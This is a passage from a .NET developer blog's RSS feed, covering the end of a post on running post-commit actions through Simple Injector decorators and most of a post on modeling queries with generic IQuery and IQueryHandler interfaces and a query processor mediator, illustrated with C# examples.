class="code">ExecuteActions</span> method of the <span class="type">PostCommitRegistratorImpl</span> is called. Note that this decorator depends on the <span class="type">PostCommitRegistratorImpl</span>  implementation and not on the <span class="type">IPostCommitRegistrator</span> interface. The interface does not implement the <span class="code">ExecuteActions</span> method, and we don&rsquo;t want it to, since we don&rsquo;t want any command handler to call that method directly. We do however want this class to be able to execute the registered delegates, so we need it to access the implementation. Since both classes are part of the composition root, this is fine. The application code itself has no notion of the <span class="type">PostCommitRegistratorImpl</span> nor the <span class="type">PostCommitCommandHandlerDecorator</span><span class="code">&lt;T&gt;</span>.</p><p>Our last task is to wire up all the dependencies correctly. This isn&rsquo;t really difficult, but does need a certain state of mind, since you need to carefully consider the lifestyle of <span class="type">PostCommitRegistratorImpl</span>. Up until this point this article was container agnostic. Here is an example of how to configure this using the <a rel="external" href="http://simpleinjector.codeplex.com" title="Simple Injector">Simple Injector</a>:</p><pre class="cs" language="csharp" customtypes="CreateCustomerCommand Address ActionResult CreateCustomerCommandHandler ICommandHandler IUnitOfWorkFactory NorthwindUnitOfWork Customer IPostCommitRegistrator UnitOfWork PostCommitRegistratorImpl PostCommitCommandHandlerDecorator TransactionCommandHandlerDecorator" customvaluetypes="PutYourCustomValueTypesHere">using SimpleInjector;<br />using SimpleInjector.Extensions;<br /><br />container.RegisterManyForOpenGeneric(<br />    typeof(ICommandHandler&lt;&gt;), <br />    typeof(ICommandHandler&lt;&gt;).Assembly);<br /><br />container.RegisterDecorator(<br />    typeof(ICommandHandler&lt;&gt;), <br />    typeof(TransactionCommandHandlerDecorator&lt;&gt;));<br /><br />container.RegisterDecorator(<br />    typeof(ICommandHandler&lt;&gt;), <br />    typeof(PostCommitCommandHandlerDecorator&lt;&gt;));<br /> <br />container.RegisterPerWebRequest&lt;PostCommitRegistratorImpl&gt;();<br />container.Register&lt;IPostCommitRegistrator&gt;(<br />    () =&gt; container.GetInstance&lt;PostCommitRegistratorImpl&gt;());</pre><p>The previous registration does a few things:</p><ul><li>First it registers all public <span class="type">ICommandHandler</span><span class="code">&lt;T&gt;</span> implementations  that live in the same assembly as the <span class="type">ICommandHandler</span><span class="code">&lt;T&gt;</span> does.</li><li>Next it registers the <span class="type">TransactionCommandHandlerDecorator</span><span class="code">&lt;T&gt;</span> to be wrapped around each command handler implementation. </li><li>Next it registers the <span class="type">PostCommitCommandHandlerDecorator</span><span class="code">&lt;T&gt;</span> to be  wrapped around each <span class="type">TransactionCommandHandlerDecorator</span><span class="code">&lt;T&gt;</span>  implementation. It is important that the post commit decorator is  wrapped around the transaction decorator, since the system will behave  incorrectly when they are decorated the other way around, since that  means that the registered delegates would be called before the  transaction is committed.</li><li>The <span class="type">PostCommitRegistratorImpl</span> is registered. Since we want to inject the  same instance in both the command handler and the post commit  decorator, we can&rsquo;t use the <a rel="external" href="http://simpleinjector.codeplex.com/wikipage?title=ObjectLifestyleManagement#Transient" title="Simple Injector - Transient lifestyle">transient lifestyle</a>, since that will  new up a new instance each time it is injected. Using a single instance  for the whole application however, is only possible when the application  is single-threaded (which can be the case if you run the handlers in a  Windows Forms application or a Windows Service). In this case I assume a  web application, which is inherently multi-threaded. I therefore  register it on a Per Request basis (using the <a rel="external" href="http://simpleinjector.codeplex.com/wikipage?title=ObjectLifestyleManagement#PerWebRequest" title="Simple Injector - Per Web Request">RegisterPerWebRequest</a> extension method).</li><li>Since the application does not depend on <span class="type">PostCommitRegistratorImpl</span> but  on the <span class="type">IPostCommitRegistrator</span> interface, we need to map that interface  to the previous registration. This is done by registering a delegate  that requests the <span class="type">PostCommitRegistratorImpl</span>. This may look odd, but is  an effective way to <a rel="external" href="http://simpleinjector.codeplex.com/wikipage?title=How-to#Register_Multiple_Interfaces_With_The_Same_Implementation" title="Simple Injector - Documentation - How To - Register Multiple Interfaces With The Same Implementation">map multiple interfaces to the same implementation</a>. The delegate is called every time an <span class="type">IPostCommitRegistrator</span> is  injected, but since it requests a <span class="type">PostCommitRegistratorImpl</span>, which is  registered on a Per Web Request basis, it will always return the same  instance for a single request.</li></ul><h5>Conclusion</h5><p>Again, one simple abstraction can solve the problem we have effectively. Nice about this design is that it keeps the code of the commands handlers pretty clean, and although not shown, it is easy to write unit tests for this as well.</p> ]]></description>
			<guid isPermaLink="false">93@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, Architecture, C#, Dependency injection, O/RM, Simple Injector</category>
			<pubDate>Sat, 14 Apr 2012 15:36:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Meanwhile... on the query side of my architecture</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=92</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=92#comm</comments>
                        <description><![CDATA[ Command-query separation is a common concept in the software industry. Many architectures separate commands from the rest of the system and send command messages that are processed by command handlers. This same concept of messages and handlers can just as easily be applied to the query side of an architecture. There are not many systems using this technique and this article is an attempt to change that. Two simple interfaces will change the look of your architecture... forever.<p>In <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=91" title=".NET Junkie - Meanwhile&hellip; on the command side of my architecture">my previous post</a> I described how I design the command side of my systems. The greatest thing about this design is that it provides a lot of flexibility and lowers the overall complexity of the system through the addition of one simple interface to the system. The design is founded on the <a rel="external" href="http://en.wikipedia.org/wiki/SOLID" title="Wikipedia - SOLID">SOLID</a> principles and is brought to life with <a rel="external" href="http://en.wikipedia.org/wiki/Dependency_injection" title="Wikipedia - Dependency Injection">Dependency Injection</a> (although DI is optional). Please read that post if you haven&rsquo;t already, as this post will regularly refer to its content.</p><p>It&rsquo;s funny that I encountered the command/handler design so many years ago but failed to understand why anyone would use two classes for one operation (one for the data and one for the behavior). It didn&rsquo;t seem very object oriented to me and it was only after I experienced problems with the old design (message and behavior in the same class) that the potential of the command/handler design became clear to me.</p><p>With my business layer modeled uniformly and giving me great flexibility it then became clear that the same wasn't true for the part of the business layer that was responsible to querying. It was this dissatisfaction that triggered me to think about the design of this part of my application architecture.</p><p>Originally I would model queries as methods with clear names and group them together in a class. This led to interfaces like the following:</p><pre class="cs" language="csharp" customtypes="AppDomain Consumer Container Controller ValidationQueryHandlerDecorator DebuggerStepThrough FakeFailingUserQueries FakeUserServicesUserQueries FindUsersBySearchTextQuery FindUsersBySearchTextQueryHandler GetCurrentTimeQuery GetCurrentUserIdQuery GetHighUsageUsersQuery GetRecentOrdersForLoggedInUserQuery GetUsersByRolesQuery IQuery IQueryExecuter IQueryHandler IQueryProcessor IServiceProvider IUserQueries NorthwindUnitOfWork QueryExecuter QueryProcessor Required StringLength User UserController UserInfo UserQueryHandlers ValidationContext Validator" customvaluetypes="PutYourCustomValueTypesHere">public interface IUserQueries<br />{<br />    User[] FindUsersBySearchText(string searchText, <br />        bool includeInactiveUsers);<br /> <br />    User[] GetUsersByRoles(string[] roles);<br /> <br />    UserInfo[] GetHighUsageUsers(int reqsPerDayThreshold);<br /><br />    // More methods here<br />}</pre><p>There is a variation of this pattern that a lot of developers use today in their applications. They mix this query class with the <a rel="external" href="http://martinfowler.com/eaaCatalog/repository.html" title="Martin Fowler - Repository Pattern">repository pattern.</a> The repository pattern is used for <a rel="external" href="http://en.wikipedia.org/wiki/Create,_read,_update_and_delete" title="Create, read, update and delete">CRUD</a> operations. The following code may look familiar:</p><pre class="cs" language="csharp" customtypes="IRepository IUserRepository User UserInfo" customvaluetypes="PutYourCustomValueTypesHere">// Generic repository class (good)<br />public interface IRepository&lt;T&gt;<br />{<br />    T GetByKey(int key);<br /><br />    void Save(T instance);<br /><br />    void Delete(T instance);<br />}<br /><br />// Custom entity-specific repository with query methods (awkward)<br />public interface IUserRepository : IRepository&lt;User&gt;<br />{<br />    User[] FindUsersBySearchText(string searchText, <br />        bool includeInactiveUsers);<br /> <br />    User[] GetUsersByRoles(string[] roles);<br /> <br />    UserInfo[] GetHighUsageUsers(int reqsPerDayThreshold);<br /><br />    // More methods here<br />}</pre><p>Alongside the <span class="type">IUserQueries</span> interface, my application contained interfaces such as <span class="type">IPatientInfoQueries</span>, <span class="type">ISurgeryQueries</span>, and countless others, each with its own set of methods and its own set of parameters and return types. Every interface was different, which made adding <a rel="external" href="http://en.wikipedia.org/wiki/Cross-cutting_concern" title="Wikipedia - Cross-cutting concern">cross-cutting concerns</a>, such as logging, caching, profiling, security, etc very difficult. I was missing the uniformity in the design that I had with my command handlers. The query classes were just a bunch of random methods, often grouped around one concept or one entity. No matter how hard I tried, it would end up looking messy and each time a query method was added both the interface and the implementation would need to be changed.</p><p>In my automated test suite things were even worse! A class under test that depended on a query interface was often only expected to call one or two of its methods, while other classes were expected to call other methods. This meant I had to do hundreds of asserts in my test suite to ensure a class didn&rsquo;t call unexpected methods. This resulted in the creation of abstract base classes in my test project that implemented one of these query interfaces. Each abstract class looked something like this:</p><pre class="cs" language="csharp" customtypes="AppDomain Assert Consumer Container Controller ValidationQueryHandlerDecorator DebuggerStepThrough FakeFailingUserQueries FakeUserServicesUserQueries FindUsersBySearchTextQuery FindUsersBySearchTextQueryHandler GetCurrentTimeQuery GetCurrentUserIdQuery GetHighUsageUsersQuery GetRecentOrdersForLoggedInUserQuery GetUsersByRolesQuery IQuery IQueryExecuter IQueryHandler IQueryProcessor IServiceProvider IUserQueries NorthwindUnitOfWork QueryExecuter QueryProcessor Required StringLength User UserController UserInfo UserQueryHandlers ValidationContext Validator" customvaluetypes="PutYourCustomValueTypesHere">public abstract class FakeFailingUserQueries : IUserQueries<br />{<br />    public virtual User[] FindUsersBySearchText(<br />        string searchText, bool includeInactive)<br />    {<br />        Assert.Fail(&quot;Call to this method was not expected.&quot;);<br />        return null;<br />    }<br /> <br />    public virtual User[] GetUsersByRoles(string[] roles)<br />    {<br />        Assert.Fail(&quot;Call to this method was not expected.&quot;);<br />        return null;<br />    }<br />        <br />    public virtual UserInfo[] GetHighUsageUsers(<br />        int requestsPerDayThreshold)<br />    {<br />        Assert.Fail(&quot;Call to this method was not expected.&quot;);<br />        return null;<br />    }<br /><br />    // More methods here<br />}</pre><p>For each test I would inherit from this base class and override the relevant the method:</p><pre class="cs" language="csharp" customtypes="AppDomain Consumer Container Controller ValidationQueryHandlerDecorator DebuggerStepThrough FakeFailingUserQueries FakeUserServicesUserQueries FindUsersBySearchTextQuery FindUsersBySearchTextQueryHandler GetCurrentTimeQuery GetCurrentUserIdQuery GetHighUsageUsersQuery GetRecentOrdersForLoggedInUserQuery GetUsersByRolesQuery IQuery IQueryExecuter IQueryHandler IQueryProcessor IServiceProvider IUserQueries NorthwindUnitOfWork QueryExecuter QueryProcessor Required StringLength User UserController UserInfo UserQueryHandlers ValidationContext Validator" customvaluetypes="PutYourCustomValueTypesHere">public class FakeUserServicesUserQueries : FakeFailingUserQueries<br />{<br />    public User[] UsersToReturn { get; set; }<br /> <br />    public string[] CalledRoles { get; private set; }<br /> <br />    public override User[] GetUsersByRoles(string[] roles)<br />    {<br />        this.CalledRoles = roles;<br /> <br />        return this.UsersToReturn;<br />    }<br />}</pre><p>All this meant I could leave all the other methods fail (since they were not expected to be called) which saved me from having to write too much code and reduced the chance of errors in my tests. But it still led to an explosion of test classes in my test projects.</p><p>Of course all these problems can be solved with the &lsquo;proper&rsquo; tooling. For instance, cross-cutting concerns can be added by using compile-time code weaving (using <a rel="external" href="http://www.sharpcrafters.com/" title="PostSharp">PostSharp</a> for instance), or by configuring your DI container using convention based registration, mixed with interception (interception uses dynamic proxy generation and lightweight code generation). The testing problems can be resolved by using Mocking frameworks (which also generate proxy classes that act like the original class).</p><p>These solutions work, but they usually only make things more complicated and in reality they are patches to hide problems with the initial design. When we validate the design against the five <a rel="external" href="http://en.wikipedia.org/wiki/SOLID" title="Wikipedia - SOLID">SOLID</a> principles, we can see where the problem lies. The design violates three of the five SOLID principles.</p><p>The <a rel="external" href="http://en.wikipedia.org/wiki/Single_responsibility_principle" title="Wikipedia - Single responsibility principle">Single Responsibility Principle</a> is violated, because the methods in each class are not highly <a rel="external" href="http://en.wikipedia.org/wiki/Cohesion_%28computer_science%29" title="Wikipedia - Cohesion">cohesive</a>. The only thing that relates those methods is the fact that they belong to the same concept or entity. </p><p>The design violates the <a rel="external" href="http://en.wikipedia.org/wiki/Open/closed_principle" title="Wikipedia - Open/closed principle">Open/Closed Principle</a>, because almost every time a query is added to the system, an existing interface and its implementations need to be changed. Every interface has at least two implementations: one real implementation and one test implementation.</p><p>The <a rel="external" href="http://en.wikipedia.org/wiki/Interface_segregation_principle" title="Wikipedia - Interface segregation principle">Interface Segregation Principle</a> is violated, because the interfaces are wide (have many methods) and consumers of those interfaces are forced to depend on methods that they don&rsquo;t use. </p><p>So let us not treat the symptoms; let&rsquo;s address the cause.</p><h4>A better design<a name="Better-Design" title="Better-Design"></a></h4><p>Instead of having a separate interface per group of queries, we can define a single interface for all the queries in the system, just as we saw with the <span class="type">ICommandHandler</span><span class="code">&lt;TCommand&gt;</span> interface in my previous article. We define the following two interfaces:</p><pre class="cs" language="csharp" customtypes="AppDomain Consumer Container Controller ValidationQueryHandlerDecorator DebuggerStepThrough FakeFailingUserQueries FakeUserServicesUserQueries FindUsersBySearchTextQuery FindUsersBySearchTextQueryHandler GetCurrentTimeQuery GetCurrentUserIdQuery GetHighUsageUsersQuery GetRecentOrdersForLoggedInUserQuery GetUsersByRolesQuery IQuery IQueryExecuter IQueryHandler IQueryProcessor IServiceProvider IUserQueries NorthwindUnitOfWork QueryExecuter QueryProcessor Required StringLength User UserController UserInfo UserQueryHandlers ValidationContext Validator" customvaluetypes="PutYourCustomValueTypesHere">public interface IQuery&lt;TResult&gt;<br />{<br />}<br /> <br />public interface IQueryHandler&lt;TQuery, TResult&gt;<br />    where TQuery : IQuery&lt;TResult&gt;<br />{<br />    TResult Handle(TQuery query);<br />}</pre><p style="padding-left: 45px"><em>The <span class="type">IQuery</span><span class="code">&lt;TResult&gt;</span> specifies a query message with TResult as the query's return type. Although this interface doesn't look very useful, I will explain later on why having such an interface is crucial.</em></p><p>Whereas a command is normally &quot;fire and forget&quot; and will update something in the system and not return a value, a query is the opposite, in that it will not change any state and does return a value.</p><p>Using the previously defined interface we can define a query message:</p><pre class="cs" language="csharp" customtypes="AppDomain Consumer Container Controller ValidationQueryHandlerDecorator DebuggerStepThrough FakeFailingUserQueries FakeUserServicesUserQueries FindUsersBySearchTextQuery FindUsersBySearchTextQueryHandler GetCurrentTimeQuery GetCurrentUserIdQuery GetHighUsageUsersQuery GetRecentOrdersForLoggedInUserQuery GetUsersByRolesQuery IQuery IQueryExecuter IQueryHandler IQueryProcessor IServiceProvider IUserQueries NorthwindUnitOfWork QueryExecuter QueryProcessor Required StringLength User UserController UserInfo UserQueryHandlers ValidationContext Validator" customvaluetypes="PutYourCustomValueTypesHere">public class FindUsersBySearchTextQuery : IQuery&lt;User[]&gt;<br />{<br />    public string SearchText { get; set; }<br /> <br />    public bool IncludeInactiveUsers { get; set; }<br />}</pre><p>This class defines a query operation with two parameters that returns an array of <span class="type">User</span> objects. Just like a command, this query message class is a <a rel="external" href="http://martinfowler.com/refactoring/catalog/introduceParameterObject.html" title="Martin Fowler - Refactoring - Introduce Parameter Object">Parameter Object</a>.</p><p><a rel="external" href="http://www.qwan.eu/shop/refactoring/" title="QWAN Smells and Refactorings Cue Cards"><p style="text-align:center;"><img src="http://www.cuttingedge.it/blogs/steven/images/smells-refactoring-cards-sample.jpg" style="border:0px solid" title="Parameter Object Refactoring Cue Card" alt="Parameter Object Refactoring Cue Card" class="pivot-image" /></p></a></p><p>The class that handles this message can be defined as follows:</p><pre class="cs" language="csharp" customtypes="AppDomain Consumer Container Controller ValidationQueryHandlerDecorator DebuggerStepThrough FakeFailingUserQueries FakeUserServicesUserQueries FindUsersBySearchTextQuery FindUsersBySearchTextQueryHandler GetCurrentTimeQuery GetCurrentUserIdQuery GetHighUsageUsersQuery GetRecentOrdersForLoggedInUserQuery GetUsersByRolesQuery IQuery IQueryExecuter IQueryHandler IQueryProcessor IServiceProvider IUserQueries NorthwindUnitOfWork QueryExecuter QueryProcessor Required StringLength User UserController UserInfo UserQueryHandlers ValidationContext Validator" customvaluetypes="PutYourCustomValueTypesHere">public class FindUsersBySearchTextQueryHandler<br />    : IQueryHandler&lt;FindUsersBySearchTextQuery, User[]&gt;<br />{<br />    private readonly NorthwindUnitOfWork db;<br /> <br />    public FindUsersBySearchTextQueryHandler(<br />        NorthwindUnitOfWork db)<br />    {<br />        this.db = db;<br />    }<br /> <br />    public User[] Handle(FindUsersBySearchTextQuery query)<br />    {<br />        return (<br />            from user in this.db.Users<br />            where user.Name.Contains(query.SearchText)<br />            select user)<br />            .ToArray();<br />    }<br />}</pre><p>As we&rsquo;ve seen with the command handlers, we can now let consumers depend on the generic <span class="type">IQueryHandler</span> interface:</p><pre class="cs" language="csharp" customtypes="AppDomain Consumer Container Controller ValidationQueryHandlerDecorator DebuggerStepThrough FakeFailingUserQueries FakeUserServicesUserQueries FindUsersBySearchTextQuery FindUsersBySearchTextQueryHandler GetCurrentTimeQuery GetCurrentUserIdQuery GetHighUsageUsersQuery GetRecentOrdersForLoggedInUserQuery GetUsersByRolesQuery IQuery IQueryExecuter IQueryHandler IQueryProcessor IServiceProvider IUserQueries NorthwindUnitOfWork QueryExecuter QueryProcessor Required StringLength User UserController UserInfo UserQueryHandlers ValidationContext Validator" customvaluetypes="PutYourCustomValueTypesHere">public class UserController : Controller<br />{<br />    IQueryHandler&lt;FindUsersBySearchTextQuery, User[]&gt; handler;<br /> <br />    public UserController(<br />        IQueryHandler&lt;FindUsersBySearchTextQuery, User[]&gt; handler)<br />    {<br />        this.handler = handler;<br />    }<br /> <br />    public View SearchUsers(string searchString)<br />    {<br />        var query = new FindUsersBySearchTextQuery<br />        {<br />            SearchText = searchString,<br />            IncludeInactiveUsers = false<br />        };<br /> <br />        User[] users = this.handler.Handle(query);<br /><br />        return this.View(users);<br />    }<br />}</pre>This model gives us a lot of flexibility because we can now decide what to inject into the <span class="type">UserController</span>. As we&rsquo;ve seen in the previous article, we can inject a completely different implementation, or one that wraps the real implementation, without having to make any changes to the <span class="type">UserController</span> (and all other consumers of that interface).<p>Note this is where the <span class="type">IQuery</span><span class="code">&lt;TResult&gt;</span> interface comes into play. It prevents us from having to cast the return type (to <span class="type">User</span><span class="code">[]</span> in this example); it therefore gives us compile-time support when working with the query handler; it provides compile-time support when specifying or injecting <span class="type">IQueryHandler</span>s into our code. If we were to change the <span class="type">FindUsersBySearchTextQuery</span> to return <span class="type">UserInfo</span><span class="code">[]</span> instead of <span class="type">User</span><span class="code">[]</span> (by updating it to implement <span class="type">IQuery</span><span class="code">&lt;</span><span class="type">UserInfo</span><span class="code">[]&gt;</span>), the <span class="type">UserController</span> would fail to compile because the&nbsp;generic type constraint on <span class="type">IQueryHandler</span><span class="code">&lt;TQuery, TResult&gt; </span>won't be able to map <span class="type">FindUsersBySearchTextQuery</span> to <span class="type">User</span>[].</p><p>Injecting the <span class="type">IQueryHandler</span> interface into a consumer however, has some less obvious problems that still need to be addressed.</p> <p>The number of dependencies if our consumers might get too big and can lead to <a rel="external" href="http://blog.ploeh.dk/2010/01/20/RebuttalConstructorOverinjectionAntipattern.aspx" title="Mark Seemann's blog - Rebuttal: Constructor over-injection anti-pattern">constructor over-injection</a> - when a constructor takes too many arguments (a common rule of thumb is that a constructor should take no more than 4 or 5 arguments). Constructor over-injection is an anti-pattern and is often a sign that the <a rel="external" href="http://en.wikipedia.org/wiki/Single_responsibility_principle" title="Wikipedia - Single responsibility principle">Single Responsibility Principle</a> (SRP) has been violated. Although it is important to adhere to SRP, it is also highly likely that consumers will want to execute multiple different queries without really violating SRP (in contrast to injecting many <span class="type">ICommandHandler</span><span class="code">&lt;TCommand&gt;</span> implementations which would certainly be a violation of SRP). In my experience the number of queries a class executes can change frequently, which would require constant changes into the number of constructor arguments.</p><p>Another shortcoming of this approach is that the generic structure of the <span class="type">IQueryHandler</span><span class="code">&lt;TQuery, TResult&gt;</span> leads to lots of infrastructural code which in turn makes the code harder to read. For example:</p><pre class="cs" language="csharp" customtypes="AppDomain Consumer Container Controller ValidationQueryHandlerDecorator DebuggerStepThrough FakeFailingUserQueries FakeUserServicesUserQueries FindUsersBySearchTextQuery FindUsersBySearchTextQueryHandler GetCurrentTimeQuery GetCurrentUserIdQuery GetHighUsageUsersQuery GetRecentOrdersForLoggedInUserQuery GetUsersByRolesQuery IQuery IQueryExecuter IQueryHandler IQueryProcessor IServiceProvider IUserQueries NorthwindUnitOfWork QueryExecuter QueryProcessor Required StringLength User UserController UserInfo UserQueryHandlers ValidationContext Validator" customvaluetypes="PutYourCustomValueTypesHere">public class Consumer<br />{<br />    IQueryHandler&lt;FindUsersBySearchTextQuery, IQueryable&lt;UserInfo&gt;&gt; findUsers;<br />    IQueryHandler&lt;GetUsersByRolesQuery, IEnumerable&lt;User&gt;&gt; getUsers;<br />    IQueryHandler&lt;GetHighUsageUsersQuery, IEnumerable&lt;UserInfo&gt;&gt; getHighUsage;<br /> <br />    public Consumer(<br />        IQueryHandler&lt;FindUsersBySearchTextQuery, IQueryable&lt;UserInfo&gt;&gt; findUsers,<br />        IQueryHandler&lt;GetUsersByRolesQuery, IEnumerable&lt;User&gt;&gt; getUsers,<br />        IQueryHandler&lt;GetHighUsageUsersQuery, IEnumerable&lt;UserInfo&gt;&gt; getHighUsage)<br />    {<br />        this.findUsers = findUsers;<br />        this.getUsers = getUsers;<br />        this.getHighUsage = getHighUsage;<br />    }<br />}</pre><p>Wow!! That&rsquo;s a lot of code for a class that only has three different queries that it needs to execute. This is in part due to the verbosity of the C# language. A workaround (besides switching to another language) would be to <a rel="external" href="http://t4ctorgenerator.codeplex.com/" title="CodePlex - T4 C# Constructor Generator">use a T4 template that generates the constructor</a> in a new partial class. This would leave us with just the three lines defining the private fields. The generic typing would still be a bit verbose, but with C# there's nothing much we can do about that. </p><p>So how do we fix the problem of having to inject too many <span class="type">IQueryHandler</span>s? As always, with an extra layer of abstraction :-). We create a mediator that sits between the consumers and the query handlers:</p><pre class="cs" language="csharp" customtypes="AppDomain Consumer Container Controller ValidationQueryHandlerDecorator DebuggerStepThrough FakeFailingUserQueries FakeUserServicesUserQueries FindUsersBySearchTextQuery FindUsersBySearchTextQueryHandler GetCurrentTimeQuery GetCurrentUserIdQuery GetHighUsageUsersQuery GetRecentOrdersForLoggedInUserQuery GetUsersByRolesQuery IQuery IQueryExecuter IQueryHandler IQueryProcessor IServiceProvider IUserQueries NorthwindUnitOfWork QueryExecuter QueryProcessor Required StringLength User UserController UserInfo UserQueryHandlers ValidationContext Validator" customvaluetypes="PutYourCustomValueTypesHere">public interface IQueryProcessor<br />{<br />    TResult Process&lt;TResult&gt;(IQuery&lt;TResult&gt; query);<br />}</pre><p>The <span class="type">IQueryProcessor</span> is a non-generic interface with one generic method. As you can see in the interface definition, the <span class="type">IQueryProcessor</span> depends on the <span class="type">IQuery</span><span class="code">&lt;TResult&gt;</span> interface. This allows us to have compile time support in our consumers that depend on the <span class="type">IQueryProcessor</span>. Let&rsquo;s rewrite the <span class="type">UserController</span> to use the new <span class="type">IQueryProcessor</span>:</p><pre class="cs" language="csharp" customtypes="View AppDomain Consumer Container Controller ValidationQueryHandlerDecorator DebuggerStepThrough FakeFailingUserQueries FakeUserServicesUserQueries FindUsersBySearchTextQuery FindUsersBySearchTextQueryHandler GetCurrentTimeQuery GetCurrentUserIdQuery GetHighUsageUsersQuery GetRecentOrdersForLoggedInUserQuery GetUsersByRolesQuery IQuery IQueryExecuter IQueryHandler IQueryProcessor IServiceProvider IUserQueries NorthwindUnitOfWork QueryExecuter QueryProcessor Required StringLength User UserController UserInfo UserQueryHandlers ValidationContext Validator" customvaluetypes="PutYourCustomValueTypesHere">public class UserController : Controller<br />{<br />    private IQueryProcessor queryProcessor;<br /> <br />    public UserController(IQueryProcessor queryProcessor)<br />    {<br />        this.queryProcessor = queryProcessor;<br />    }<br /> <br />    public View SearchUsers(string searchString)<br />    {<br />        var query = new FindUsersBySearchTextQuery<br />        {<br />            SearchText = searchString<br />        };<br /> <br />        // Note how we omit the generic type argument,<br />        // but still have type safety.<br />        User[] users = this.queryProcessor.Process(query);<br /><br />        return this.View(users);<br />    }<br />}</pre><p>The UserController now depends on a <span class="type">IQueryProcessor</span> that can handle all of our queries. The <span class="type">UserController</span>&rsquo;s <span class="code">SearchUsers</span> method calls the <span class="type">IQueryProcessor</span><span class="code">.Process</span> method passing in an initialized query object. Since the <span class="type">FindUsersBySearchTextQuery</span> implements the <span class="type">IQuery</span><span class="code">&lt;</span><span class="type">User</span><span class="code">[]&gt;</span> interface, we can pass it to the generic <span class="code">Execute&lt;TResult&gt;(</span><span class="type">IQuery</span><span class="code">&lt;TResult&gt; query)</span> method. Thanks to <a rel="external" href="http://msdn.microsoft.com/en-us/library/twcad0zb%28v=vs.80%29.aspx" title="MSDN - Generic Methods (C# Programming Guide)">C# type inference</a>, the compiler is able to determine the generic type and this saves us having to explicitly state the type. The return type of the <span class="code">Process</span> method is also known. So if we were to change the <span class="type">FindUsersBySearchTextQuery</span> to implement a different interface (say <span class="type">IQuery</span><span class="code">&lt;</span><span class="type">IQueryable</span><span class="code">&lt;</span><span class="type">User</span><span class="code">&gt;&gt;</span>) the <span class="type">UserController</span> will no longer compile instead of miserably failing at runtime. </p><p>It is now the responsibility of the implementation of the <span class="type">IQueryProcessor</span> to find the right <span class="type">IQueryHandler</span>. This requires some dynamic typing, and optionally the use of a Dependency Injection framework, and can all be done with just a few lines of code:</p><pre class="cs" language="csharp" customtypes="AppDomain Consumer Container Controller ValidationQueryHandlerDecorator DebuggerStepThrough FakeFailingUserQueries FakeUserServicesUserQueries FindUsersBySearchTextQuery FindUsersBySearchTextQueryHandler GetCurrentTimeQuery GetCurrentUserIdQuery GetHighUsageUsersQuery GetRecentOrdersForLoggedInUserQuery GetUsersByRolesQuery IQuery IQueryExecuter IQueryHandler IQueryProcessor IServiceProvider IUserQueries NorthwindUnitOfWork QueryExecuter QueryProcessor Required StringLength User UserController UserInfo UserQueryHandlers ValidationContext Validator" customvaluetypes="PutYourCustomValueTypesHere">sealed class QueryProcessor : IQueryProcessor<br />{<br />    private readonly Container container;<br /><br />    public QueryProcessor(Container container)<br />    {<br />        this.container = container;<br />    }<br /><br />    [DebuggerStepThrough]<br />    public TResult Process&lt;TResult&gt;(IQuery&lt;TResult&gt; query)<br />    {<br />        var handlerType = typeof(IQueryHandler&lt;,&gt;)<br />            .MakeGenericType(query.GetType(), typeof(TResult));<br /><br />        dynamic handler = container.GetInstance(handlerType);<br /><br />        return handler.Handle((dynamic)query);<br />    }<br />}<br /></pre><p>The <span class="type">QueryProcessor</span> class constructs a specific <span class="type">IQueryHandler</span><span class="code">&lt;TQuery, TResult&gt;</span> type based on the type of the supplied query instance. This type is used to ask the supplied container class to get an instance of that type. Unfortunately we need to call the <span class="code">Handle</span> method using reflection (by using the C# 4.0 <span class="keyword">dymamic</span> keyword in this case), because at this point it is impossible to cast the handler instance, since the generic <span class="code">TQuery</span> argument is not available at compile time. However, unless the <span class="code">Handle</span> method is renamed or gets other arguments, this call will never fail and if you want to, it is very easy to write a unit test for this class. Using reflection will give a slight drop, but is nothing to really worry about (especially when you're using <a rel="external" href="http://simpleinjector.codeplex.com/wikipage?title=ObjectLifestyleManagement#PerWebRequest" title="Simple Injector">Simple Injector</a> as your DI framework, because <a rel="external" href="http://www.palmmedia.de/Blog/2011/8/30/ioc-container-benchmark-performance-comparison" title="IoC Container Benchmark - Performance comparison">it is blazingly fast).</a></p><p>I did consider an alternative design of the <span class="type">IQueryProcessor</span> interface, that looked like this:</p><pre class="cs" language="csharp" customtypes="AppDomain Consumer Container Controller ValidationQueryHandlerDecorator DebuggerStepThrough FakeFailingUserQueries FakeUserServicesUserQueries FindUsersBySearchTextQuery FindUsersBySearchTextQueryHandler GetCurrentTimeQuery GetCurrentUserIdQuery GetHighUsageUsersQuery GetRecentOrdersForLoggedInUserQuery GetUsersByRolesQuery IQuery IQueryExecuter IQueryHandler IQueryProcessor IServiceProvider IUserQueries NorthwindUnitOfWork QueryExecuter QueryProcessor Required StringLength User UserController UserInfo UserQueryHandlers ValidationContext Validator" customvaluetypes="PutYourCustomValueTypesHere">public interface IQueryProcessor<br />{<br />    TResult Process&lt;TQuery, TResult&gt;(TQuery query)<br />        where TQuery : IQuery&lt;TResult&gt;;<br />}</pre><p>This version of the interface solves the problem of having to do dynamic typing in the <span class="type">QueryProcessor</span> implementation completely, but sadly the C# compiler isn&rsquo;t &lsquo;smart&rsquo; enough to find out which types are needed (<a rel="external" href="http://blogs.msdn.com/b/ericlippert/archive/2009/12/10/constraints-are-not-part-of-the-signature.aspx" title="Eric Lippert's blog - Constraints are not part of the signature">damn you Anders</a>!), which forces us to completely write out the call to <span class="code">Process</span>, including both generic arguments. This gets really ugly in the code and is therefore not advisable. I was a bit amazed by this, because I was under the assumption that the C# compiler could infer the types. (However, the more I think about it, the more it makes sense that the C# compiler doesn't try to do so.) </p><p>There&rsquo;s one very important point to note when using the <span class="type">IQueryProcessor</span> abstraction. By injecting an <span class="type">IQueryProcessor</span>, it is no longer clear which queries a consumer is using. This makes unit testing more fragile, since the constructor no longer tells us what services the class depends on. We also make it harder for our DI framework to verify the object graph it is creating, since the creation of an <span class="type">IQueryHandler</span> implementation is postponed by the <span class="type">IQueryProcessor</span>. Being able to verify the container's configuration <a rel="external" href="http://simpleinjector.codeplex.com/wikipage?title=How-to#Verifying_Configuration" title="Simple Injector - Documentation - How to - Verify the container&rsquo;s configuration">is very important</a>. Using the <span class="type">IQueryProcessor</span> means we have to write a test that confirms there is a corresponding query handler for every query in the system, because the DI framework can not check this for you. I personally can live with that in the 